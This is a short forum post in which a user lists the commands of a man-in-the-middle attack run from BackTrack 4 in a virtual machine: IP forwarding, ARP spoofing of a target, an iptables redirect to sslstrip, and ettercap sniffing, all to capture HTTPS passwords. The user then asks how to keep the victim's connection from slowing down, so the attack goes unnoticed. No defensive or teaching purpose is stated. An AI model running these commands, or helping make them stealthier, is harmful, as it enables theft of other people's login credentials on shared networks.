Hello, I am new in this forum,

My computer
Macbook Pro
vmware fusion
Backtrack 4
Airport bridge to an Ethernet connection for vmware

Win 7

I am using sslstrip and ettercap, to sniff https pass, I am using these lines

echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i wlan0 -t

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
sslstrip -a -k -f

ettercap -T -q -i wlan0

But whenever I do this in my Mac running Backtrack 4, in a VMware, slows the victim internet connection, is there any way to do it without slowing the internet conection

Thank you¡¡¡